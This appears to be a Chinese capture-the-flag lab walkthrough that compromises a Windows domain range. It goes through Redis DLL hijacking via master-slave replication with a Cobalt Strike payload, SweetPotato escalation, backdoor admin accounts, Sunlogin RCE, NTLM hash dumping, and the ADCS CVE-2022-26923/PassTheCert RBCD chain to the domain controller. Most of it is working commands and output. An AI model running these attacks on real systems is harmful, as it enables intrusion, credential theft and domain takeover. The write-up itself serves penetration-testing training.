前言
本文所使用的工具可参考以下仓库:
Awesome_Pentest_Tools: 一站式渗透测试与红队工具合集,旨在帮助渗透测试人员打造自己的工具链
靶标介绍:
Legacy Network 是一家在信息技术领域拥有 20 年历史的老牌企业,专注于为中小型公司提供IT解决方案和支持服务。由于长期依赖于过时的基础设施和内部网络,Legacy Network 在现代化的安全防护体系方面存在许多不足,特别是在权限控制、过时的软件、未及时更新补丁等方面存在显著问题。你的目标是通过渗透进入该网络,获取每台机器的权限,该靶场共有 4个Flag,分布于不同的靶机。
flag1 fscan开扫
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 ./fscan -h 39.98.114.183 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan 39.98.114.183:6379 open alive ports len is : 1 start vulscan Redis 39.98.114.183:6379 unauthorized file:C:\Program Files\Redis/dump.rdb 已完成 1/1 扫描结束,耗时: 10.071888102s ./fscan -h 39.98.114.183 -p 1-65535 ┌──────────────────────────────────────────────┐ │ ___ _ │ │ / _ \ ___ ___ _ __ __ _ ___| | __ │ │ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │ │ / /_\\_____\__ \ (__| | | (_| | (__| < │ │ \____/ |___/\___|_| \__,_|\___|_|\_\ │ └──────────────────────────────────────────────┘ Fscan Version: 2.0.0 暴力破解线程数: 1 开始信息扫描 最终有效主机数量: 1 开始主机扫描 有效端口数量: 65535 端口开放 39.98.114.183:1041 服务识别 39.98.114.183:1041 => 端口开放 39.98.114.183:3389 服务识别 39.98.114.183:3389 => 端口开放 39.98.114.183:6379 服务识别 39.98.114.183:6379 => 版本:3.0.504 产品:Redis key-value store 端口开放 39.98.114.183:15774 服务识别 39.98.114.183:15774 => 端口开放 39.98.114.183:47001 服务识别 39.98.114.183:47001 => 端口开放 39.98.114.183:49664 端口开放 39.98.114.183:49665 端口开放 39.98.114.183:49667 端口开放 39.98.114.183:49666 端口开放 39.98.114.183:49669 端口开放 39.98.114.183:49668 端口开放 39.98.114.183:49673 端口开放 39.98.114.183:49675 端口开放 39.98.114.183:49676 服务识别 39.98.114.183:49664 => 服务识别 39.98.114.183:49665 => 服务识别 39.98.114.183:49667 => 服务识别 39.98.114.183:49666 => 服务识别 39.98.114.183:49669 => 服务识别 39.98.114.183:49668 => 服务识别 39.98.114.183:49673 => 服务识别 39.98.114.183:49675 => 服务识别 39.98.114.183:49676 => 存活端口数量: 14 开始漏洞扫描 加载的插件: rdp, redis 扫描已完成: 2/2
Redis未授权访问漏洞 发现有redis未授权,MDUT连接,发现redis版本是3.0.504
这是Windows,不能用Linux上Redis RCE的路子,比如写入文件,ssh公钥、webshell、计划任务等。
我们一一盘点Windows上主要的几种打法:
写Webshell:
服务器没有开放80端口,那么我们不能写webshell
主从复制:
微软官方的Redis在Windows上只支持到3.2.100和3.0.504(参考microsoftarchive/redis ),更高版本的Windows Redis都是第三方的,这也是实战中Windows服务器上的Redis很多是3.2.100和3.0.504的原因。
而Redis 3.x版本并不支持模块加载功能(主从同步RCE需要关键模块MODULE LOAD,这个是redis4.0之后才有的),因此基于主从同步进行RCE不可行——因为无法加载DLL模块。
总结:Redis版本为3.x,无法加载DLL模块,能主从同步不能RCE。
写启动项:
必须要重启机器(用户登录)才能生效,但是我们这里做不到让靶机重启,只能让靶机重置
写入MOF:
但是版本靶机版本是win2019,要求是win2003,所以此方法不行
最后就剩下DLL劫持了
参考文章:Redis攻击利用总结 - 重庆森林不在重庆
redis dll劫持
个人环境测试,发现该dll劫持方式不会影响redis运行,但是会影响redis启动或重启,将恶意的dll删除即可恢复
而且redis即使第一次劫持失败了,也依旧可以继续尝试,但是一旦成功了一次,如果选择下线就不能成功第二次了
接下来我们实操。redis-cli连上去,info 命令获取安装路径 C:\Program Files\Redis\redis.windows-service.conf
1 2 3 redis -cli -h 39.98.114.183 info
结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 redis -cli -h 39.98.114.183 39 .98 .114 .183 :6379 > inforedis_version :3 .0 .504 redis_git_sha1 :00000000 redis_git_dirty :0 redis_build_id :a4f7a6e86f2d60b3redis_mode :standaloneos :Windows arch_bits :64 multiplexing_api :WinSock_IOCPprocess_id :3368 run_id :75 ec939a827e93db6ac4d2dc7b47d29a7abf091ftcp_port :6379 uptime_in_seconds :4900 uptime_in_days :0 hz :10 lru_clock :2031922 config_file :C:\Program Files\Redis\redis.windows-service.confconnected_clients :4 client_longest_output_list :0 client_biggest_input_buf :0 blocked_clients :0 used_memory :755592 used_memory_human :737 .88 Kused_memory_rss :717816 used_memory_peak :755592 used_memory_peak_human :737 .88 Kused_memory_lua :36864 mem_fragmentation_ratio :0 .95 mem_allocator :jemalloc-3 .6 .0 loading :0 rdb_changes_since_last_save :0 rdb_bgsave_in_progress :0 rdb_last_save_time :1763637396 rdb_last_bgsave_status :okrdb_last_bgsave_time_sec :0 rdb_current_bgsave_time_sec :-1 aof_enabled :0 aof_rewrite_in_progress :0 aof_rewrite_scheduled :0 aof_last_rewrite_time_sec :-1 aof_current_rewrite_time_sec :-1 aof_last_bgrewrite_status :okaof_last_write_status :oktotal_connections_received :31 total_commands_processed :65 instantaneous_ops_per_sec :0 total_net_input_bytes :5671 total_net_output_bytes :42252523 instantaneous_input_kbps :0 .00 instantaneous_output_kbps :0 .00 rejected_connections :0 sync_full :0 sync_partial_ok :0 sync_partial_err :0 expired_keys :0 evicted_keys :0 keyspace_hits :0 keyspace_misses :0 pubsub_channels :0 pubsub_patterns :0 latest_fork_usec :1622 migrate_cached_sockets :0 role :masterconnected_slaves :0 master_repl_offset :0 repl_backlog_active :0 repl_backlog_size :1048576 repl_backlog_first_byte_offset :0 repl_backlog_histlen :0 used_cpu_sys :0 .16 used_cpu_user :0 .14 used_cpu_sys_children :0 .00 used_cpu_user_children :0 .00 cluster_enabled :0 db0 :keys=1 ,expires=0 ,avg_ttl=0 39 .98 .114 .183 :6379 >
从本地的system32 文件夹下提取出 dbghelp.dll,然后使用 dllHijack 脚本,
由于每个人的操作系统版本不一样,所以system32 文件夹下面的 dbghelp.dll 可能也会有区别,但经过尝试,Windows10、Windows11的dbghelp.dll 都可行
dllHijack这里最好是用这个 修改过的, 原版的脚本 会报错
dllHijack实际上有VS2019、VS2022 两个版本,但VS2022的GitHub已经不开源了,所以这里就用VS2019的
生成dbghelp.dll 的Visual Studio 2019的项目文件
1 2 3 4 5 6 venv\Scripts\activate python DLLHijacker.py C:\Windows\System32\dbghelp.dll python DLLHijacker.py dbghelp.dll
修改shellcode前,产生项目的命令必须为默认的dbghelp,不能使用Win11dbghelp.dll等不规范的文件名,不然会失败
再用visual Studio 2019 打开项目文件
重点
请在VS2019中修改项目的属性 。如果不改,那么靶机无法加载生成出来的DLL
1、设置运行库为多线程 (/MT 或 /MTd):
在属性页面中,导航到:配置属性 > C/C++ > 代码生成。
找到 “运行库”(Runtime Library)选项。
如果当前是 Release 配置(截图中您已选择 Release x64),设置为 “多线程 (/MT)”,这里推荐Release 。
如果是 Debug 配置,设置为 “多线程调试 (/MTd)”。
确保在顶部下拉菜单中选择正确的配置(Release 或 Debug)。
2、禁用安全检查 (/GS):
仍在 配置属性 > C/C++ > 代码生成 页面。
找到 “安全检查”(Buffer Security Check)选项。
设置为 “禁用安全检查 (/GS-)”。
3、关闭生成清单:
导航到:配置属性 > 链接器 > 清单文件。
找到 “生成清单”(Generate Manifest)选项。
设置为 “否 (/MANIFEST:NO)”。
这里我直接换成release:
配置如图,别忘了点击“应用”来保存
然后打开CS 生成一个payload 输出格式为C
在VS2019中替换 dllmain.cpp 中的shellcode(ctrl+s保存)
之前已经选择了 Release x64 ,生成DLL文件即可
生成成功
这两个项目都可以主从复制,去覆盖redis的DLL,达到劫持的效果,注意要在vps上运行
r35tart/RedisWriteFile: 通过 Redis 主从写出无损文件
0671/RabR: Redis-Attack By Replication (通过主从复制攻击Redis)
我们都试一下。
RedisWriteFile 把生成好的文件(在..\dbghelp\x64\Release\里)上传到 RedisWriteFile.py 同级目录下面
然后把脚本 RedisWriteFile 文件夹上传到你的VPS上(记得在安全组里面开放你vps的16379端口)
重申:不管用上面哪个脚本,一定要在vps上运行,本地是不可行的
依次执行下面几条命令:
1 2 3 4 5 6 python3 RedisWriteFile .py --rhost 39 .98 .114 .183 --rport 6379 --lhost 公网IP --lport 16379 --rpath 'C:\\Program Files\\Redis\\' --rfile 'dbghelp.dll' --lfile 'dbghelp.dll' redis-cli -h 39 .98 .114 .183 bgsave
结果如图
RabR 这个更方便,可以直接上线
依次执行下面几条命令:
1 2 3 4 python3 redis-attack.py -r 39.98.114.183 -L 公网IP -wf dbghelp.dll h
结果如图
然后就可以看到靶机上线CS了,上线就是administrator权限,直接拿flag
1 2 3 4 5 6 7 8 9 10 11 12 13 [02 /15 17 :05 :17 ] beacon> shell type C:\Users\Administrator\flag\flag01.txt [02 /15 17 :05 :17 ] [*] Tasked beacon to run: type C:\Users\Administrator\flag\flag01.txt [02 /15 17 :05 :17 ] [+] host called home, sent: 74 bytes [02 /15 17 :05 :17 ] [+] received output: ________ ___ ________ ________ ________ _____ |\ _____\\ \ |\ __ \|\ ____\|\ __ \ / __ \ \ \ \__/\ \ \ \ \ \|\ \ \ \___|\ \ \|\ \|\/_|\ \ \ \ __\\ \ \ \ \ __ \ \ \ __\ \ \\\ \|/ \ \ \ \ \ \_| \ \ \____\ \ \ \ \ \ \|\ \ \ \\\ \ \ \ \ \ \__\ \ \_______\ \__\ \__\ \_______\ \_______\ \ \__\ \|__| \|_______|\|__|\|__|\|_______|\|_______| \|__| flag01: flag{58455a 83-7516 -4a 8f-92bf -ca94e7aa33a0}
flag2 sweetpotato提权 在Redis 机器上执行命令 whoami /priv 发现有 SeImpersonatePrivilege 权限,身份验证号模拟客户端启用
看下特权利用的项目 ,这个权限允许在其他用户的安全环境中创建进程,利用工具也是Potato家族的提权软件都能用
那么直接上传 sweetpotato 提权即可,
1 shell "C:/Program Files/Redis/matrix/SweetPotato.exe" -a whoami
也可以用cs的getsystem,可以提到system权限,但该进程会死掉,还需要进程迁移
提权后上传一个CS后门,上线系统用户。
1 shell C:/matrix/SweetPotato.exe -a C:/matrix/artifact_x64.exe
加一个用户
1 2 shell net user matrix1 Tony2026! /add shell net localgroup administrators matrix1 /add
RDP上去
1 xfreerdp3 /u:matrix1 /p:Tony2026! /v:39.98.114.183 /cert:ignore
上传stowaway搭建代理
1 2 3 4 5 6 7 ./linux_x64_admin -l 54524 -s matrix .\windows_x64_agent.exe -c 公网IP:54524 -s matrix --reconnect 8use 0 socks 55558 sudo vim /etc/proxychains4.conf
看网卡
1 2 3 4 5 6 7 8 9 10 11 12 ipconfig Windows IP 配置 以太网适配器 以太网 2 : 连接特定的 DNS 后缀 . . . . . . . : 本地链接 IPv6 地址. . . . . . . . : fe80::2871:3921:3cb9:5854%14 IPv4 地址 . . . . . . . . . . . . : 172.22.12.25 子网掩码 . . . . . . . . . . . . : 255.255.0.0 默认网关. . . . . . . . . . . . . : 172.22.255.253
fscan开扫
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 fscan.exe -h 172 .22 .12 .0 /24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1 .8 .4 start infoscan (icmp) Target 172 .22 .12 .6 is alive (icmp) Target 172 .22 .12 .12 is alive (icmp) Target 172 .22 .12 .25 is alive (icmp) Target 172 .22 .12 .31 is alive[*] Icmp alive hosts len is: 4 172.22.12.6:88 open172.22.12.25:6379 open172.22.12.31:445 open172.22.12.12:445 open172.22.12.25:445 open172.22.12.6:445 open172.22.12.31:139 open172.22.12.12:139 open172.22.12.25:139 open172.22.12.6:139 open172.22.12.31:135 open172.22.12.25:135 open172.22.12.12:135 open172.22.12.6:135 open172.22.12.31:80 open172.22.12.12:80 open172.22.12.31:21 open[*] alive ports len is: 17 start vulscan[*] NetInfo[*] 172 .22 .12 .25 [->] WIN-YUYAOX9Q [->] 172 .22 .12 .25 [*] NetInfo[*] 172 .22 .12 .6 [->] WIN-SERVER [->] 172 .22 .12 .6 [*] NetInfo[*] 172 .22 .12 .31 [->] WIN-IISQE3PC [->] 172 .22 .12 .31 [*] NetInfo[*] 172 .22 .12 .12 [->] WIN-AUTHORITY [->] 172 .22 .12 .12 [*] NetBios 172 .22 .12 .31 WORKGROUP\WIN-IISQE3PC[*] NetBios 172 .22 .12 .6 [+] DC:WIN-SERVER.xiaorang.lab Windows Server 2016 Standard 14393 [*] OsInfo 172 .22 .12 .6 (Windows Server 2016 Standard 14393 )[*] NetBios 172 .22 .12 .12 WIN-AUTHORITY.xiaorang.lab Windows Server 2016 Datacenter 14393 [+] ftp 172 .22 .12 .31 :21 :anonymous [->] SunloginClient_11.0 .0 .33826_x64.exe[*] WebTitle http://172 .22 .12 .12 code:200 len:703 title:IIS Windows Server[*] WebTitle http://172 .22 .12 .31 code:200 len:703 title:IIS Windows Server[+] PocScan http://172 .22 .12 .12 poc-yaml-active-directory-certsrv-detect[+] Redis 172 .22 .12 .25 :6379 unauthorized file:C:\Program Files\Redis/dump.rdb 已完成 17 /17 [*] 扫描结束,耗时: 14 .2986566s
总结一下
1 2 3 4 172.22.12.6 DC:WIN-SERVER.xiaorang.lab 域控172.22.12.25 WIN-YUYAOX9Q.xiaorang.lab redis服务器 已拿下 172.22.12.31 WORKGROUP\WIN-IISQE3PC IIS网站 ftp匿名 向日葵rce172.22.12.12 WIN-AUTHORITY.xiaorang.lab CA服务器
向日葵RCE Fscan扫描时 ,发现ftp匿名登录,通过这个发现主机 172.22.12.31 有向日葵的安装包,猜测主机 172.22.12.31 上应该安装该向日葵
该向日葵版本较低,存在rce(cnvd-2022-10270):
漏洞描述
上海贝锐信息科技股份有限公司的向日葵远控软件存在远程代码执行漏洞(CNVD-2022-10270/CNVD-2022-03672),影响Windows系统使用的个人版和简约版,攻击者可利用该漏洞获取服务器控制权。
影响版本
向日葵个人版 for Windows <= 11.0.0.33
向日葵简约版 <= V1.0.1.43315(2021.12)
漏洞利用
SunloginClient 启动后会在 40000 以上随机开放一个web端口,认证有问题可以直接通过cgi-bin/rpc?action=verify-haras获取cid 执行回显rce
工具:GitHub - Mr-xn/sunlogin_rce: 向日葵 RCE
1 2 3 4 5 6 7 8 9 xrkRce .exe -h 172.22.12.31 -t scanxrkRce .exe -h 172.22.12.31 -t rce -p 49689 -c "whoami" xrkRce .exe -h 172.22.12.31 -t rce -p 49689 -c "net user matrix1 Tony2026! /add" xrkRce .exe -h 172.22.12.31 -t rce -p 49689 -c "net localgroup administrators matrix1 /add"
这个工具也行:ce-automne/SunloginRCE: 向日葵RCE,网段扫描/中文显示
1 2 3 4 5 6 7 8 9 sunRce .exe -t scan -h 172.22.12.31 -p 40000 -50000 sunRce .exe -h 172.22.12.31 -t rce -p 49689 -c "whoami" sunRce .exe -h 172.22.12.31 -t rce -p 49689 -c "net user matrix1 Tony2026! /add" sunRce .exe -h 172.22.12.31 -t rce -p 49689 -c "net localgroup administrators matrix1 /add" sunRce .exe -h 172.22.12.31 -t rce -p 49689 -c "type C:\Users\Administrator\flag\flag02.txt"
直接RDP拿flag
1 2 3 4 5 6 7 8 9 10 proxychains xfreerdp3 /u:matrix1 /p:Tony2026! /v:172.22 .12.31 /cert:ignore ________ ___ ________ ________ ________ _______ |\ _____\\ \ |\ __ \|\ ____\|\ __ \ / ___ \ \ \ \__/\ \ \ \ \ \|\ \ \ \___|\ \ \|\ \/__/|_/ /| \ \ __\\ \ \ \ \ __ \ \ \ __\ \ \\\ \__|// / / \ \ \_| \ \ \____\ \ \ \ \ \ \|\ \ \ \\\ \ / /_/__ \ \__\ \ \_______\ \__\ \__\ \_______\ \_______\|\________\ \|__| \|_______|\|__|\|__|\|_______|\|_______| \|_______| flag02: flag{29a 46b72-8a 82-182a -45f 3-532475ec 6fd4}
flag4 发现向日葵这台机器并不在域里面这台机器,而是工作组
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 systeminfo 主机名 : WIN-IISQE3PC OS 名称 : Microsoft Windows Server 2019 Datacenter OS 版本 : 10.0.17763 暂缺 Build 17763 OS 制造商 : Microsoft Corporation OS 配置 : 独立服务器 OS 构件类型 : Multiprocessor Free 注册的所有人 : 注册的组织 : Aliyun 产品 ID : 00430-00000-00000-AA870 初始安装日期 : 2025/1/6, 13:47:31 系统启动时间 : 2026/2/15, 16:56:59 系统制造商 : Alibaba Cloud 系统型号 : Alibaba Cloud ECS 系统类型 : x64-based PC 处理器 : 安装了 1 个处理器。 [01] : Intel64 Family 6 Model 85 Stepping 4 GenuineIntel ~2500 Mhz BIOS 版本 : SeaBIOS 449e491, 2014/4/1 Windows 目录 : C:\Windows 系统目录 : C:\Windows\system32 启动设备 : \Device\HarddiskVolume1 系统区域设置 : zh-cn;中文(中国) 输入法区域设置 : zh-cn;中文(中国) 时区 : (UTC+08:00) 北京,重庆,香港特别行政区,乌鲁木齐 物理内存总量 : 4,095 MB 可用的物理内存 : 1,505 MB 虚拟内存 : 最大值: 5,503 MB 虚拟内存 : 可用: 3,024 MB 虚拟内存 : 使用中: 2,479 MB 页面文件位置 : C:\pagefile.sys 域 : WORKGROUP 登录服务器 : \\WIN-IISQE3PC 修补程序 : 安装了 10 个修补程序。 [01] : KB5046269 [02] : KB4470788 [03] : KB4486153 [04] : KB4486155 [05] : KB4589208 [06] : KB5005112 [07] : KB5048661 [08] : KB5020374 [09] : KB5028316 [10] : KB5043126 网卡 : 安装了 1 个 NIC。 [01] : Red Hat VirtIO Ethernet Adapter 连接名 : 以太网 2 启用 DHCP : 是 DHCP 服务器 : 172.22.255.253 IP 地址 [01] : 172.22.12.31 [02] : fe80::fc01:baef:3df5:97a3 Hyper-V 要求 : 已检测到虚拟机监控程序。将不显示 Hyper-V 所需的功能。
因为这台机器没有加入域中,所以我们也没必要上线CS了
接着回去看redis那台机器,发现有域环境
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 systeminfo 主机名 : WIN-YUYAOX9Q OS 名称 : Microsoft Windows Server 2019 Datacenter OS 版本 : 10.0.17763 暂缺 Build 17763 OS 制造商 : Microsoft Corporation OS 配置 : 成员服务器 OS 构件类型 : Multiprocessor Free 注册的所有人 : 注册的组织 : Aliyun 产品 ID : 00430-00000-00000-AA952 初始安装日期 : 2022/10/29, 10:32:10 系统启动时间 : 2026/2/15, 16:57:43 系统制造商 : Alibaba Cloud 系统型号 : Alibaba Cloud ECS 系统类型 : x64-based PC 处理器 : 安装了 1 个处理器。 [01] : Intel64 Family 6 Model 85 Stepping 4 GenuineIntel ~2500 Mhz BIOS 版本 : SeaBIOS 449e491, 2014/4/1 Windows 目录 : C:\Windows 系统目录 : C:\Windows\system32 启动设备 : \Device\HarddiskVolume1 系统区域设置 : zh-cn;中文(中国) 输入法区域设置 : zh-cn;中文(中国) 时区 : (UTC+08:00) 北京,重庆,香港特别行政区,乌鲁木齐 物理内存总量 : 4,095 MB 可用的物理内存 : 2,280 MB 虚拟内存 : 最大值: 5,503 MB 虚拟内存 : 可用: 3,613 MB 虚拟内存 : 使用中: 1,890 MB 页面文件位置 : C:\pagefile.sys 域 : xiaorang.lab 登录服务器 : \\WIN-YUYAOX9Q 修补程序 : 安装了 7 个修补程序。 [01] : KB5015731 [02] : KB4470788 [03] : KB4486153 [04] : KB4486155 [05] : KB5005112 [06] : KB5016623 [07] : KB5015896 网卡 : 安装了 1 个 NIC。 [01] : Red Hat VirtIO Ethernet Adapter 连接名 : 以太网 2 启用 DHCP : 是 DHCP 服务器 : 172.22.255.253 IP 地址 [01] : 172.22.12.25 [02] : fe80::2871:3921:3cb9:5854 Hyper-V 要求 : 已检测到虚拟机监控程序。将不显示 Hyper-V 所需的功能。
然后以系统权限收集一下域内信息,因为本地管理员无法与域交互,所以这里需要用系统权限执行SharpHound收集域内信息
这里直接甜土豆去执行sharphound收集命令不成功,所以必须用system身份
在目标机器上运行
1 2 3 # 二进制采集工具命令shell C:/matrix/SharpHound.exe -c all shell C:/matrix/SharpHound.exe -c all --outputdirectory C:\Users\Public\
本机使用BloodHound
1 2 3 sudo neo4j start./BloodHound --no-sandbox
CS执行logonpasswords,抓一下机器用户WIN-YUYAOX9Q$的NTLM,后面会用到
1 2 3 4 Username : WIN -YUYAOX9Q$ * Domain : XIAORANG * NTLM : e611213c6a712f9b18a8d056005a4f0f * SHA1 : 1a8d2c95320592037c0fa583c1f62212d4ff8ce9
把收集到的压缩包上传到 bloodhound 上面去分析,简单看了下,没有啥明显的路径。 但是给了我们一个提示 CA服务器
ADCS CVE-2022-26923 漏洞文章:CVE-2022-26923 (Certifried) explained
在用Fscan进行内网扫描时 爆出 172.22.12.12 CA服务器 存在 poc yaml active directory certsrv detect
这是一个 Active Directory 域权限提升漏洞,通过滥用 Active Directory 证书服务 (AD CS) 来请求具有任意攻击者控制的 DNS 主机名的计算机证书,这可以使域中的任何计算机帐户模拟域控制器,从而实现完全的域接管。具体来说,这个漏洞可以通过利用名为“certsrv”的检测点来请求任意攻击者控制的DNS主机名的计算机证书。
具体步骤
获取现有机器账号的哈希值: 已经获取了名为 WIN-YUYAOX9Q$ 的机器账号的哈希值。这一步骤通常通过前期的信息收集和凭证窃取完成。
利用现有机器账号创建新的机器账号: 使用 WIN-YUYAOX9Q$ 的哈希值,通过以下步骤创建一个新的机器账号:
Pass-the-Hash 攻击:利用 WIN-YUYAOX9Q$ 的哈希值进行 Pass-the-Hash 攻击,以该机器账号的身份进行身份验证。
创建新机器账号:一旦成功通过身份验证,使用该机器账号的权限在域中创建一个新的机器账号。
为新机器账号请求证书: 使用新创建的机器账号,向 AD CS 请求一个具有特定 DNS 主机名的计算机证书。这个证书将允许该新机器账号冒充域中的其他计算机,包括域控制器。
示例步骤:
提交证书请求,指定所需的 DNS 主机名。
安装并应用获得的证书。
冒充域管理员: 使用新机器账号及其获得的证书,模拟域中的关键系统(如域控制器),从而实现全面的域接管。
获取CA名字 xiaorang-WIN-AUTHORITY-CA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 shell certutil [02/15 19:43:40] [*] Tasked beacon to run: certutil [02/15 19:43:40] [+] host called home, sent: 39 bytes [02/15 19:43:40] [+] received output: 项 0: 名称: "xiaorang-WIN-AUTHORITY-CA" 部门: "" 单位: "" 区域: "" 省/自治区: "" 国家/地区: "" 配置: "WIN-AUTHORITY.xiaorang.lab\xiaorang-WIN-AUTHORITY-CA" Exchange 证书: "" 签名证书: "" 描述: "" 服务器: "WIN-AUTHORITY.xiaorang.lab" 颁发机构: "xiaorang-WIN-AUTHORITY-CA" 净化的名称: "xiaorang-WIN-AUTHORITY-CA" 短名称: "xiaorang-WIN-AUTHORITY-CA" 净化的短名称: "xiaorang-WIN-AUTHORITY-CA" 标记: "1" Web 注册服务器: "" CertUtil: -dump 命令成功完成。
然后配置一下hosts
1 2 3 4 5 sudo vim /etc/hosts 172.22.12.6 xiaorang.lab 172.22.12.12 WIN-AUTHORITY.xiaorang.lab 172.22.12.6 WIN-SERVER.xiaorang.lab
查询证书
1 proxychains4 certipy- ad find - u 'WIN-YUYAOX9Q$' - hashes 'e611213 c6a712f9b18a8d056005 a4f0f' - dc- ip 172.22 .12.6
确实可以用Machine 模版,创建用户、申请证书、申请票据
现在还需要一个知道账密的机器用户,利用前面WIN-YUYAOX9Q$机器用户创建一个新的机器用户
1 proxychains4 certipy-ad account create -user 'matrix$' -pass 'P@ssw0rd ' -dns WIN-SERVER.xiaorang.lab -dc-ip 172.22.12.6 -u 'WIN-YUYAOX9Q$' -hashes 'e611213c6a712f9b18a8d056005a4f0f'
接着利用该机器用户以及前面certify收集的CA name获取pfx凭证
(如果一次没成功,执行两次即可)
1 proxychains4 certipy-ad req -u 'matrix$@xiaorang .lab' -p 'P@ssw0rd ' -ca 'xiaorang-WIN-AUTHORITY-CA' -dc-ip 172.22.12.6 -template 'Machine' -target 172.22.12.12
利用证书获取域控hash时,跟Certify那个靶场报一样的错,和网鼎杯的证书打法不同的仅是网鼎杯扫出了ECS 8,用的ECS 8去添加机器账户,而这里用的CVE-2022-26923
1 proxychains4 -q certipy-ad auth -pfx win-server.pfx -dc-ip 172.22.12.6
报错了”KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type“
Tip
如是报**krb_ap_err_skew(clock skew too great)** 那么可以通过与域控时间同步解决 命令:ntpdate 【域控IP】 然后直接DCSync 即可拿下整个域
passthecert打RBCD 接下来用passthecert打RBCD攻击,把 PFX 文件转成 crt 和 key,利用Pass-The-Cert 来配置RBCD,伪造管理员申请票据
从.pfx分别导出.key文件和.crt文件,并将密码置空
1 2 3 openssl pkcs12 -in win -server.pfx -nodes -out test .pem openssl rsa -in test .pem -out test .key openssl x509 -in test .pem -out test .crt
将证书传递到 LDAP,修改 LDAP 配置从而获得域控权限
1 2 3 4 proxychains4 python3 passthecert.py -action whoami -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22 .12.6 Impacket v0.13.0 .dev0 - Copyright Fortra, LLC and its affiliated companies [proxychains] Strict chain ... 公网IP:55558 ... 172.22 .12.6 :636 ... OK[*] You are logged in as: XIAORANG\WIN-SERVER$
将证书配置到域控的RBCD
1 2 3 4 5 6 7 8 9 10 11 12 13 proxychains4 python3 passthecert.py -action write_rbcd -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.12.6 -delegate-to 'WIN-SERVER$' -delegate-from 'matrix$' Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [proxychains] Strict chain ... 公网IP:55558 ... 172.22.12.6:636 ... OK [*] Accounts allowed to act on behalf of other identity: [*] hacker$ (S-1 -5 -21 -3745972894 -1678056601 -2622918667 -1106 ) [*] goudan$ (S-1 -5 -21 -3745972894 -1678056601 -2622918667 -1107 ) [*] Delegation rights modified successfully! [*] matrix$ can now impersonate users on WIN-SERVER$ via S4U2Proxy [*] Accounts allowed to act on behalf of other identity: [*] hacker$ (S-1 -5 -21 -3745972894 -1678056601 -2622918667 -1106 ) [*] goudan$ (S-1 -5 -21 -3745972894 -1678056601 -2622918667 -1107 ) [*] matrix$ (S-1 -5 -21 -3745972894 -1678056601 -2622918667 -1109 )
申请一张cifs服务的ST
1 2 3 4 5 6 7 8 9 10 11 12 13 14 proxychains4 impacket-getST xiaorang.lab/'matrix$' :'P@ssw0rd' -spn cifs/win-server.xiaorang.lab -impersonate Administrator -dc-ip 172.22.12.6 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [-] CCache file is not found. Skipping... [*] Getting TGT for user [proxychains] Strict chain ... 公网IP:55558 ... 172.22.12.6:88 ... OK [proxychains] Strict chain ... 公网IP:55558 ... 172.22.12.6:88 ... OK [*] Impersonating Administrator [*] Requesting S4U2self [proxychains] Strict chain ... 公网IP:55558 ... 172.22.12.6:88 ... OK [*] Requesting S4U2Proxy [proxychains] Strict chain ... 公网IP:55558 ... 172.22.12.6:88 ... OK [*] Saving ticket in Administrator@cifs_win-server.xiaorang.lab@XIAORANG.LAB.ccache
导入票据 PTT
1 export KRB5CCNAME=Administrator@cifs_win-server.xiaorang.lab@XIAORANG.LAB.ccache
导入后即可无密码登录
1 proxychains4 impacket-psexec Administrator@WIN -SERVER.xiaorang.lab -k -no -pass -dc-ip 172.22.12.6
拿flag
1 2 3 4 5 6 7 8 9 10 11 C:\windows\system32> type "C:\Users\Administrator\flag\flag04.txt" ________ _______ ___ ________ ___ ___ ___ ___ _____ ______ ________ ________ ___ ________ |\ __ \|\ ___ \ |\ \ |\ __ \ |\ \ / /|\ \ |\ \|\ _ \ _ \|\ __ \|\ ____\|\ \|\ ____\ \ \ \|\ \ \ __/|\ \ \ \ \ \|\ \ \ \ \/ / | \ \\_\ \ \ \\\__\ \ \ \ \|\ \ \ \___|\ \ \ \ \___| \ \ _ _\ \ \_|/_\ \ \ \ \ __ \ \ \ / / \ \______ \ \ \\|__| \ \ \ __ \ \ \ __\ \ \ \ \ \ \ \\ \\ \ \_|\ \ \ \____\ \ \ \ \ \/ / / \|_____|\ \ \ \ \ \ \ \ \ \ \ \ \|\ \ \ \ \ \____ \ \__\\ _\\ \_______\ \_______\ \__\ \__\__/ / / \ \__\ \__\ \ \__\ \__\ \__\ \_______\ \__\ \_______\ \|__|\|__|\|_______|\|_______|\|__|\|__|\___/ / \|__|\|__| \|__|\|__|\|__|\|_______|\|__|\|_______| \|___|/ flag04: flag{4c 7d6e81-3161 -4853 